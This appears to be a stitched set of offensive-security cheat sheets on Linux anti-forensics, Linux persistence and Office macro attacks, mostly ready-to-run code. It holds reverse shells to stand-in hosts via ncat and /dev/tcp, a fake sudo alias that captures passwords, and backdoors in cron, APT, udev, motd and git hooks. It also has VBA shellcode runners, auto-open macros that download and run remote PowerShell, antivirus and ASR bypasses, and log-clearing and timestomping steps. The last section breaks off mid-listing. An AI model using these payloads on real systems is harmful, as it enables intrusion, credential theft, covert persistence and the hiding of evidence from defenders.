- [Command history](#command-history)
- [Hiding text](#hiding-text)
- [Timestomping](#timestomping)
## File Names
An Unicode zero-width space can be inserted into filenames which makes the names visually indistinguishable:
```bash
# A decoy file with no special characters
touch 'index.php'
# An imposter file with visually identical name
touch $'index\u200D.php'
```
## Command History
Most shells save their command history so a user can recall them again later. The command history can be viewed with the `history` command or by manually inspecting the contents of the file pointed to by `$HISTFILE` (e.g. `~/.bash_history`).
This can be prevented in a number of ways.
```bash
# Prevent writing to the history file at all
unset HISTFILE
# Don't save this session's command history in memory
export HISTSIZE=0
```
Individual commands that match a pattern in `HISTIGNORE` will be excluded from the command history, regardless of `HISTFILE` or `HISTSIZE` settings.
By default, `HISTIGNORE` will ignore all commands that begin with whitespace:
```bash
# Note the leading space character:
my-sneaky-command
```
If commands are accidentally added to the command history, individual command entries can be removed with `history -d`:
```bash
# Removes the most recently logged command.
# Note that we actually have to delete two history entries at once,
# otherwise the `history -d` command itself will be logged as well.
history -d -2 && history -d -1
```
The entire command history can be purged as well, although this approach is much less subtle and very likely to be noticed:
```bash
# Clears the in-memory history and writes the empty history to disk.
history -c && history -w
```
## Hiding Text
ANSI escape sequences can be abused to hide text under certain circumstances.
If the file's contents are printed to the terminal (e.g. `cat`, `head`, `tail`) then the text will be hidden.
If the file is viewed with an editor (e.g. `vim`, `nano`, `emacs`), then the escape sequences will be visible.
```bash
echo "sneaky-payload-command" > script.sh
echo "# $(clear)" >> script.sh
echo "# Do not remove. Generated from /etc/issue.conf by configure." >> script.sh
# When printed, the terminal will be cleared and only the last line will be visible:
cat script.sh
```
## Timestomping
Timestomping refers to the alteration of a file or directory's modification/access timestamps in order to conceal the fact that it was modified.
The simplest way to accomplish this is with the `touch` command:
```bash
# Changes the access (-a) and modification (-m) times using YYYYMMDDhhmm format.
touch -a -m -t 202210312359 "example"
# Changes time using a Unix epoch timestamp.
touch -a -m -d @1667275140 "example"
# Copies timestamp from one file to another.
touch -a -m -r "other_file" "example"
# Get the file's modification timestamp, modify the file, then restore the timestamp.
MODIFIED_TS=$(stat --format="%Y" "example")
echo "backdoor" >> "example"
touch -a -m -d @$MODIFIED_TS "example"
```
It should be noted that `touch` can only modify the access and modification timestamps. It can't be used to update a file's "change" or "birth" timestamps. The birth timestamp, if supported by the filesystem, tracks when the file was created. The change timestamp tracks whenever the file's metadata changes, including updates to the access and modification timestamps.
If an attacker has root privileges, they can work around this limitation by modifying the system clock, creating or modifying a file, then reverting the system clock:
```bash
ORIG_TIME=$(date)
date -s "2022-10-31 23:59:59"
touch -a -m "example"
date -s "${ORIG_TIME}"
```
Don't forget that creating a file also updates the parent directory's modification timestamp as well!
## References
- [ATT&CK - Impair Defenses: Impair Command History Logging](https://attack.mitre.org/techniques/T1562/003/)
- [ATT&CK - Indicator Removal: Timestomp](https://attack.mitre.org/techniques/T1070/006/)
- [ATT&CK - Indicator Removal on Host: Clear Command History](https://attack.mitre.org/techniques/T1070/003/)
- [ATT&CK - Masquerading: Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
- [Wikipedia - ANSI escape codes](https://en.wikipedia.org/wiki/ANSI_escape_code)
- [InverseCos - Detecting Linux Anti-Forensics: Timestomping](https://www.inversecos.com/2022/08/detecting-linux-anti-forensics.html)

View File

@ -0,0 +1,237 @@
# Linux - Persistence
## Summary
* [Basic reverse shell](#basic-reverse-shell)
* [Add a root user](#add-a-root-user)
* [Suid Binary](#suid-binary)
* [Crontab - Reverse shell](#crontab---reverse-shell)
* [Backdooring a user's bash_rc](#backdooring-a-users-bash_rc)
* [Backdooring a startup service](#backdooring-a-startup-service)
* [Backdooring a user startup file](#backdooring-a-user-startup-file)
* [Backdooring Message of the Day](#backdooring-message-of-the-day)
* [Backdooring a driver](#backdooring-a-driver)
* [Backdooring the APT](#backdooring-the-apt)
* [Backdooring the SSH](#backdooring-the-ssh)
* [Backdooring Git](#backdooring-git)
* [Additional Linux Persistence Options](#additional-persistence-options)
* [References](#references)
## Basic reverse shell
```bash
ncat --udp -lvp 4242
ncat --sctp -lvp 4242
ncat --tcp -lvp 4242
```
## Add a root user
```powershell
sudo useradd -ou 0 -g 0 john
sudo passwd john
echo "linuxpassword" | passwd --stdin john
```
## Suid Binary
```powershell
TMPDIR2="/var/tmp"
echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c
gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null
rm $TMPDIR2/croissant.c
chown root:root $TMPDIR2/croissant
chmod 4777 $TMPDIR2/croissant
```
## Crontab - Reverse shell
```bash
(crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null
```
## Backdooring a user's bash_rc
(FR/EN Version)
```bash
TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0"
cat << EOF > /tmp/$TMPNAME2
alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ]; then
cat /tmp/$TMPNAME2 >> ~/.bashrc
fi
if [ -f ~/.zshrc ]; then
cat /tmp/$TMPNAME2 >> ~/.zshrc
fi
rm /tmp/$TMPNAME2
```
or add the following line inside its .bashrc file.
```powershell
$ chmod u+x ~/.hidden/fakesudo
$ echo "alias sudo=~/.hidden/fakesudo" >> ~/.bashrc
```
and create the `fakesudo` script.
```powershell
read -sp "[sudo] password for $USER: " sudopass
echo ""
sleep 2
echo "Sorry, try again."
echo $sudopass >> /tmp/pass.txt
/usr/bin/sudo $@
```
## Backdooring a startup service
* Edit `/etc/network/if-up.d/upstart` file
```bash
RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart
```
## Backdooring Message of the Day
* Edit `/etc/update-motd.d/00-header` file
```bash
echo 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/update-motd.d/00-header
```
## Backdooring a user startup file
Linux, write a file in `~/.config/autostart/NAME_OF_FILE.desktop`
```powershell
In : ~/.config/autostart/*.desktop
[Desktop Entry]
Type=Application
Name=Welcome
Exec=/var/lib/gnome-welcome-tour
AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide
OnlyShowIn=GNOME;
X-GNOME-Autostart-enabled=false
```
## Backdooring a driver
```bash
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
```
## Backdooring the APT
If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};`
Next time "apt-get update" is done, your CMD will be executed!
```bash
echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor
```
## Backdooring the SSH
Add an ssh key into the `~/.ssh` folder.
1. `ssh-keygen`
2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys`
3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys
## Backdooring Git
Backdooring git can be a useful way to obtain persistence without the need for root access.
Special care must be taken to ensure that the backdoor commands create no output, otherwise the persistence is trivial to notice.
### Git Configs
There are multiple [git config variables](https://git-scm.com/docs/git-config) that execute arbitrary commands when certain actions are taken.
As an added bonus, git configs can be specified multiple ways leading to additional backdoor opportunities.
Configs can be set at the user level (`~/.gitconfig`), at the repository level (`path/to/repo/.git/config`), and sometimes via environment variables.
`core.editor` is executed whenever git needs to provide the user with an editor (e.g. `git rebase -i`, `git commit --amend`).
The equivalent environment variable is `GIT_EDITOR`.
```properties
[core]
editor = nohup BACKDOOR >/dev/null 2>&1 & ${VISUAL:-${EDITOR:-emacs}}
```
`core.pager` is executed whenever git needs to potentially large amounts of data (e.g. `git diff`, `git log`, `git show`).
The equivalent environment variable is `GIT_PAGER`.
```properties
[core]
pager = nohup BACKDOOR >/dev/null 2>&1 & ${PAGER:-less}
```
`core.sshCommand` is executed whenever git needs to interact with a remote *ssh* repository (e.g. `git fetch`, `git pull`, `git push`).
The equivalent environment variable is `GIT_SSH` or `GIT_SSH_COMMAND`.
```properties
[core]
sshCommand = nohup BACKDOOR >/dev/null 2>&1 & ssh
[ssh]
variant = ssh
```
Note that `ssh.variant` (`GIT_SSH_VARIANT`) is technically optional, but without it git will run `sshCommand` _twice_ in rapid succession. (The first run is to determine the SSH variant and the second to pass it the correct parameters.)
### Git Hooks
[Git hooks](https://git-scm.com/docs/githooks) are programs you can place in a hooks directory to trigger actions at certain points during git's execution.
By default, hooks are stored in a repository's `.git/hooks` directory and are run when their name matches the current git action and the hook is marked as executable (i.e. `chmod +x`).
Potentially useful hook scripts to backdoor:
- `pre-commit` is run just before `git commit` is executed.
- `pre-push` is run just before `git push` is executed.
- `post-checkout` is run just after `git checkout` is executed.
- `post-merge` is run after `git merge` or after `git pull` applies new changes.
In addition to spawning a backdoor, some of the above hooks can be used to sneak malicious changes into a repo without the user noticing.
Lastly, it is possible to globally backdoor _all_ of a user's git hooks by setting the `core.hooksPath` git config variable to a common directory in the user-level git config file (`~/.gitconfig`). Note that this approach will break any existing repository-specific git hooks.
## Additional Persistence Options
* [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)
* [Compromise Client Software Binary](https://attack.mitre.org/techniques/T1554)
* [Create Account](https://attack.mitre.org/techniques/T1136/)
* [Create Account: Local Account](https://attack.mitre.org/techniques/T1136/001/)
* [Create or Modify System Process](https://attack.mitre.org/techniques/T1543/)
* [Create or Modify System Process: Systemd Service](https://attack.mitre.org/techniques/T1543/002/)
* [Event Triggered Execution: Trap](https://attack.mitre.org/techniques/T1546/005/)
* [Event Triggered Execution](https://attack.mitre.org/techniques/T1546/)
* [Event Triggered Execution: .bash_profile and .bashrc](https://attack.mitre.org/techniques/T1546/004/)
* [External Remote Services](https://attack.mitre.org/techniques/T1133/)
* [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574/)
* [Hijack Execution Flow: LD_PRELOAD](https://attack.mitre.org/techniques/T1574/006/)
* [Pre-OS Boot](https://attack.mitre.org/techniques/T1542/)
* [Pre-OS Boot: Bootkit](https://attack.mitre.org/techniques/T1542/003/)
* [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053/)
* [Scheduled Task/Job: At (Linux)](https://attack.mitre.org/techniques/T1053/001/)
* [Scheduled Task/Job: Cron](https://attack.mitre.org/techniques/T1053/003/)
* [Server Software Component](https://attack.mitre.org/techniques/T1505/)
* [Server Software Component: SQL Stored Procedures](https://attack.mitre.org/techniques/T1505/001/)
* [Server Software Component: Transport Agent](https://attack.mitre.org/techniques/T1505/002/)
* [Server Software Component: Web Shell](https://attack.mitre.org/techniques/T1505/003/)
* [Traffic Signaling](https://attack.mitre.org/techniques/T1205/)
* [Traffic Signaling: Port Knocking](https://attack.mitre.org/techniques/T1205/001/)
* [Valid Accounts: Default Accounts](https://attack.mitre.org/techniques/T1078/001/)
* [Valid Accounts: Domain Accounts 2](https://attack.mitre.org/techniques/T1078/002/)
## References
* [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289)
* [https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/)
* [http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html)
* [http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/)
* [Pouki from JDI](#no_source_code)

View File

@ -0,0 +1,747 @@
# Office - Attacks
### Summary
* [Office Products Features](#office-products-features)
* [Office Default Passwords](#office-default-passwords)
* [Office Macro execute WinAPI](#office-macro-execute-winapi)
* [Excel](#excel)
* [XLSM - Hot Manchego](#xlsm---hot-manchego)
* [XLS - Macrome](#xls---macrome)
* [XLM Excel 4.0 - SharpShooter](#xlm-excel-40---sharpshooter)
* [XLM Excel 4.0 - EXCELntDonut](#xlm-excel-40---excelntdonut)
* [XLM Excel 4.0 - EXEC](#xlm-excel-40---exec)
* [SLK - EXEC](#slk---exec)
* [Word](#word)
* [DOCM - Metasploit](#docm---metasploit)
* [DOCM - Download and Execute](#docm---download-and-execute)
* [DOCM - Macro Creator](#docm---macro-creator)
* [DOCM - C# converted to Office VBA macro](#docm---c-converted-to-office-vba-macro)
* [DOCM - VBA Wscript](#docm---vba-wscript)
* [DOCM - VBA Shell Execute Comment](#docm---vba-shell-execute-comment)
* [DOCM - VBA Spawning via svchost.exe using Scheduled Task](#docm---vba-spawning-via-svchostexe-using-scheduled-task)
* [DCOM - WMI COM functions (VBA AMSI)](#docm---wmi-com-functions)
* [DOCM - winmgmts](#docm---winmgmts)
* [DOCM - Macro Pack - Macro and DDE](#docmxlm---macro-pack---macro-and-dde)
* [DOCM - BadAssMacros](#docm---badassmacros)
* [DOCM - CACTUSTORCH VBA Module](#docm---cactustorch-vba-module)
* [DOCM - MMG with Custom DL + Exec](#docm---mmg-with-custom-dl--exec)
* [VBA Obfuscation](#vba-obfuscation)
* [VBA Purging](#vba-purging)
* [OfficePurge](#officepurge)
* [EvilClippy](#evilclippy)
* [VBA AMSI](#vba-amsi)
* [VBA - Offensive Security Template](#vba---offensive-security-template)
* [DOCX - Template Injection](#docx---template-injection)
* [DOCX - DDE](#docx---dde)
* [References](#references)
## Office Products Features
![Overview of features supported by different Office products](https://www.securesystems.de/images/blog/offphish-phishing-revisited-in-2023/Office_documents_feature_overview.png)
## Office Default Passwords
By default, Excel does not set a password when saving a new file. However, some older versions of Excel had a default password that was used if the user did not set a password themselves. The default password was "`VelvetSweatshop`", and it could be used to open any file that did not have a password set.
> If the user has not supplied an encryption password and the document is encrypted, the default encryption choice using the techniques specified in section 2.3 MUST be the following password: "`\x2f\x30\x31\x48\x61\x6e\x6e\x65\x73\x20\x52\x75\x65\x73\x63\x68\x65\x72\x2f\x30\x31`". - [2.4.2.3 Binary Document Write Protection Method 3](https://learn.microsoft.com/en-us/openspecs/office_file_formats/ms-offcrypto/57fc02f0-c1de-4fc6-908f-d146104662f5)
| Product | Password | Supported Formats |
|------------|------------------|-------------------|
| Excel | VelvetSweatshop | all Excel formats |
| PowerPoint | 01Hannes Ruescher/01 | .pps .ppt |
## Office Macro execute WinAPI
### Description
To importe Win32 function we need to use the keyword `Private Declare`
`Private Declare Function <NAME> Lib "<DLL_NAME>" Alias "<FUNCTION_IMPORTED>" (<ByVal/ByRef> <NAME_VAR> As <TYPE>, etc.) As <TYPE>`
If we work on 64bit, we need to add the keyword `PtrSafe` between the keywords `Declare` and `Function`
Importing the `GetUserNameA` from `advapi32.dll`:
```VBA
Private Declare PtrSafe Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
```
`GetUserNameA` prototype in C:
```C
BOOL GetUserNameA(
LPSTR lpBuffer,
LPDWORD pcbBuffer
);
```
### Example with a simple Shellcode Runner
```VBA
Private Declare PtrSafe Function VirtualAlloc Lib "Kernel32.dll" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib "Kernel32.dll" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
Private Declare PtrSafe Function CreateThread Lib "KERNEL32.dll" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Sub WinAPI()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
buf = Array(252, ...)
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
```
## Excel
### XLSM - Hot Manchego
> When using EPPlus, the creation of the Excel document varied significantly enough that most A/V didn't catch a simple lolbas payload to get a beacon on a target machine.
* https://github.com/FortyNorthSecurity/hot-manchego
```ps1
Generate CS Macro and save it to Windows as vba.txt
PS> New-Item blank.xlsm
PS> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /reference:EPPlus.dll hot-manchego.cs
PS> .\hot-manchego.exe .\blank.xlsm .\vba.txt
```
### XLM - Macrome
> XOR Obfuscation technique will NOT work with VBA macros since VBA is stored in a different stream that will not be encrypted when you password protect the document. This only works for Excel 4.0 macros.
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-osx-x64.zip
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-linux-x64.zip
* https://github.com/michaelweber/Macrome/releases/download/0.3.0/Macrome-0.3.0-win-x64.zip
```ps1
# NOTE: The payload cannot contains NULL bytes.
# Default calc
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
# Custom shellcode
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-86.bin -b '\x00'
msfvenom -p generic/custom PAYLOADFILE=payload64.bin -a x64 --platform windows -e x64/xor_dynamic -f raw -o shellcode-64.bin -b '\x00'
# MSF shellcode
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x64 --platform windows -e x64/xor_dynamic --platform windows -f raw -o msf64.bin
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.1.59 LPORT=443 -b '\x00' -a x86 --encoder x86/shikata_ga_nai --platform windows -f raw -o msf86.bin
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload shellcode-86.bin --payload64-bit shellcode-64.bin
# For VBA Macro
Macrome build --decoy-document decoy_document.xls --payload-type Macro --payload macro_example.txt --output-file-name xor_obfuscated_macro_doc.xls --password VelvetSweatshop
```
When using Macrome build mode, the --password flag may be used to encrypt the generated document using XOR Obfuscation. If the default password of **VelvetSweatshop** is used when building the document, all versions of Excel will automatically decrypt the document without any additional user input. This password can only be set in Excel 2003.
### XLM Excel 4.0 - SharpShooter
* https://github.com/mdsecactivebreach/SharpShooter
```powershell
# Options
-rawscfile <path> Path to raw shellcode file for stageless payloads
--scfile <path> Path to shellcode file as CSharp byte array
python SharpShooter.py --payload slk --rawscfile shellcode.bin --output test
# Creation of a VBA Macro
# creates a VBA macro file that uses the the XMLDOM COM interface to retrieve and execute a hosted stylesheet.
SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl
# Creation of an Excel 4.0 SLK Macro Enabled Document
~# /!\ The shellcode cannot contain null bytes
msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'
SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee
msfvenom -p generic/custom PAYLOADFILE=payload86.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o /tmp/shellcode-86.bin -b '\x00'
SharpShooter.py --payload slk --output foo --rawscfile /tmp/shellcode-86.bin --smuggle --template mcafee
```
### XLM Excel 4.0 - EXCELntDonut
* XLM (Excel 4.0) macros pre-date VBA and can be delivered in .xls files.
* AMSI has no visibility into XLM macros (for now)
* Anti-virus struggles with XLM (for now)
* XLM macros can access the Win32 API (virtualalloc, createthread, ...)
1. Open an Excel Workbook.
2. Right click on "Sheet 1" and click "Insert...". Select "MS Excel 4.0 Macro".
3. Open your EXCELntDonut output file in a text editor and copy everything.
4. Paste the EXCELntDonut output text in Column A of your XLM Macro sheet.
5. At this point, everything is in column A. To fix that, we'll use the "Text-to-Columns"/"Convert" tool under the "Data" tab.
6. Highlight column A and open the "Text-to-Columns" tool. Select "Delimited" and then "Semicolon" on the next screen. Select "Finished".
7. Right-click on cell A1* and select "Run". This will execute your payload to make sure it works.
8. To enable auto-execution, we need to rename cell A1* to "Auto_Open". You can do this by clicking into cell A1 and then clicking into the box that says "A1"* just above Column A. Change the text from "A1"* to "Auto_Open". Save the file and verify that auto-execution works.
:warning: If you're using the obfuscate flag, after the Text-to-columns operation, your macros won't start in A1. Instead, they'll start at least 100 columns to the right. Scroll horizontally until you see the first cell of text. Let's say that cell is HJ1. If that's the case, then complete steps 6-7 substituting HJ1 for A1
```ps1
git clone https://github.com/FortyNorthSecurity/EXCELntDonut
-f path to file containing your C# source code (exe or dll)
-c ClassName where method that you want to call lives (dll)
-m Method containing your executable payload (dll)
-r References needed to compile your C# code (ex: -r 'System.Management')
-o output filename
--sandbox Perform basic sandbox checks.
--obfuscate Perform basic macro obfuscation.
# Fork
git clone https://github.com/d-sec-net/EXCELntDonut/blob/master/EXCELntDonut/drive.py
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x64 -out:GruntHttpX64.exe C:\Users\User\Desktop\covenSource.cs
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -platform:x86 -out:GruntHttpX86.exe C:\Users\User\Desktop\covenSource.cs
donut.exe -a1 -o GruntHttpx86.bin GruntHttpX86.exe
donut.exe -a2 -o GruntHttpx64.bin GruntHttpX64.exe
usage: drive.py [-h] --x64bin X64BIN --x86bin X86BIN [-o OUTPUTFILE] [--sandbox] [--obfuscate]
python3 drive.py --x64bin GruntHttpx64.bin --x86bin GruntHttpx86.bin
```
XLM: https://github.com/Synzack/synzack.github.io/blob/3dd471d4f15db9e82c20e2f1391a7a598b456855/_posts/2020-05-25-Weaponizing-28-Year-Old-XLM-Macros.md
### XLM Excel 4.0 - EXEC
1. Right Click to the current sheet
2. Insert a **Macro IntL MS Excel 4.0**
3. Add the `EXEC` macro
```powershell
=EXEC("poWerShell IEX(nEw-oBject nEt.webclient).DownloAdStRiNg('http://10.10.10.10:80/update.ps1')")
=halt()
```
4. Rename cell to **Auto_open**
5. Hide your macro worksheet by a right mouse click on the sheet name **Macro1** and selecting **Hide**
### SLK - EXEC
```ps1
ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E
```
## Word
### DOCM - Metasploit
```ps1
use exploit/multi/fileformat/office_word_macro
set payload windows/meterpreter/reverse_http
set LHOST 10.10.10.10
set LPORT 80
set DisablePayloadHandler True
set PrependMigrate True
set FILENAME Financial2021.docm
exploit -j
```
### DOCM - Download and Execute
> Detected by Defender (AMSI)
```ps1
Sub Execute()
Dim payload
payload = "powershell.exe -nop -w hidden -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};$v=new-object net.webclient;$v.proxy=[Net.WebRequest]::GetSystemWebProxy();$v.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $v.downloadstring('http://10.10.10.10:4242/exploit');"
Call Shell(payload, vbHide)
End Sub
Sub Document_Open()
Execute
End Sub
```
### DOCM - Macro Creator
* https://github.com/Arno0x/PowerShellScripts/tree/master/MacroCreator
```ps1
# Shellcode embedded in the body of the MS-Word document, no obfuscation, no sandbox evasion:
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -d body
# Shellcode delivered over WebDAV covert channel, with obfuscation, no sandbox evasion:
C:\PS> Invoke-MacroCreator -i meterpreter_shellcode.raw -t shellcode -url webdavserver.com -d webdav -o
# Scriptlet delivered over bibliography source covert channel, with obfuscation, with sandbox evasion:
C:\PS> Invoke-MacroCreator -i regsvr32.sct -t file -url 'http://my.server.com/sources.xml' -d biblio -c 'regsvr32 /u /n /s /i:regsvr32.sct scrobj.dll' -o -e
```
### DOCM - C# converted to Office VBA macro
> A message will prompt to the user saying that the file is corrupt and automatically close the excel document. THIS IS NORMAL BEHAVIOR! This is tricking the victim to thinking the excel document is corrupted.
https://github.com/trustedsec/unicorn
```ps1
python unicorn.py payload.cs cs macro
```
### DOCM - VBA Wscript
> https://www.darkoperator.com/blog/2017/11/11/windows-defender-exploit-guard-asr-rules-for-office
```ps1
Sub parent_change()
Dim objOL
Set objOL = CreateObject("Outlook.Application")
Set shellObj = objOL.CreateObject("Wscript.Shell")
shellObj.Run("notepad.exe")
End Sub
Sub AutoOpen()
parent_change
End Sub
Sub Auto_Open()
parent_change
End Sub
```
```vb
CreateObject("WScript.Shell").Run "calc.exe"
CreateObject("WScript.Shell").Exec "notepad.exe"
```
### DOCM - VBA Shell Execute Comment
Set your command payload inside the **Comment** metadata of the document.
```vb
Sub beautifulcomment()
Dim p As DocumentProperty
For Each p In ActiveDocument.BuiltInDocumentProperties
If p.Name = "Comments" Then
Shell (p.Value)
End If
Next
End Sub
Sub AutoExec()
beautifulcomment
End Sub
Sub AutoOpen()
beautifulcomment
End Sub
```
### DOCM - VBA Spawning via svchost.exe using Scheduled Task
```ps1
Sub AutoOpen()
Set service = CreateObject("Schedule.Service")
Call service.Connect
Dim td: Set td = service.NewTask(0)
td.RegistrationInfo.Author = "Kaspersky Corporation"
td.settings.StartWhenAvailable = True
td.settings.Hidden = False
Dim triggers: Set triggers = td.triggers
Dim trigger: Set trigger = triggers.Create(1)
Dim startTime: ts = DateAdd("s", 30, Now)
startTime = Year(ts) & "-" & Right(Month(ts), 2) & "-" & Right(Day(ts), 2) & "T" & Right(Hour(ts), 2) & ":" & Right(Minute(ts), 2) & ":" & Right(Second(ts), 2)
trigger.StartBoundary = startTime
trigger.ID = "TimeTriggerId"
Dim Action: Set Action = td.Actions.Create(0)
Action.Path = "C:\Windows\System32\powershell.exe"
Action.Arguments = "-nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
Call service.GetFolder("\").RegisterTaskDefinition("AVUpdateTask", td, 6, , , 3)
End Sub
Rem powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.59:80/fezsdfqs'))"
```
### DOCM - WMI COM functions
Basic WMI exec (detected by Defender) : `r = GetObject("winmgmts:\\.\root\cimv2:Win32_Process").Create("calc.exe", null, null, intProcessID)`
```ps1
Sub wmi_exec()
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartUp = objWMIService.Get("Win32_ProcessStartup")
Set objProc = objWMIService.Get("Win32_Process")
Set procStartConfig = objStartUp.SpawnInstance_
procStartConfig.ShowWindow = 1
objProc.Create "powershell.exe", Null, procStartConfig, intProcessID
End Sub
```
* https://gist.github.com/infosecn1nja/24a733c5b3f0e5a8b6f0ca2cf75967e3
* https://labs.inquest.net/dfi/sha256/f4266788d4d1bec6aac502ddab4f7088a9840c84007efd90c5be7ecaec0ed0c2
```ps1
Sub ASR_bypass_create_child_process_rule5()
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("win" & "mgmts" & ":\\" & strComputer & "\root" & "\cimv2")
Set objStartup = objWMIService.Get("Win32_" & "Process" & "Startup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root" & "\cimv2" & ":Win32_" & "Process")
objProcess.Create "cmd.exe /c powershell.exe IEX ( IWR -uri 'http://10.10.10.10/stage.ps1')", Null, objConfig, intProcessID
End Sub
Sub AutoExec()
ASR_bypass_create_child_process_rule5
End Sub
Sub AutoOpen()
ASR_bypass_create_child_process_rule5
End Sub
```
```ps1
Const ShellWindows = "{9BA05972-F6A8-11CF-A442-00A0C90A8F39}"
Set SW = GetObject("new:" & ShellWindows).Item()
SW.Document.Application.ShellExecute "cmd.exe", "/c powershell.exe", "C:\Windows\System32", Null, 0
```
### DOCM/XLM - Macro Pack - Macro and DDE
> Only the community version is available online.
* [https://github.com/sevagas/macro_pack](https://github.com/sevagas/macro_pack/releases/download/v2.0.1/macro_pack.exe)
```powershell
# Options
-G, --generate=OUTPUT_FILE_PATH. Generates a file.
-t, --template=TEMPLATE_NAME Use code template already included in MacroPack
-o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name)
# Execute a command
echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
# Download and execute a file
echo <file_to_drop_url> "<download_path>" | macro_pack.exe -t DROPPER -o -G dropper.xls
# Meterpreter reverse TCP template using MacroMeter by Cn33liz
echo <ip> <port> | macro_pack.exe -t METERPRETER -o -G meter.docm
# Drop and execute embedded file
macro_pack.exe -t EMBED_EXE --embed=c:\windows\system32\calc.exe -o -G my_calc.vbs
# Obfuscate the vba file generated by msfvenom and put result in a new vba file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
# Obfuscate Empire stager vba file and generate a MS Word document:
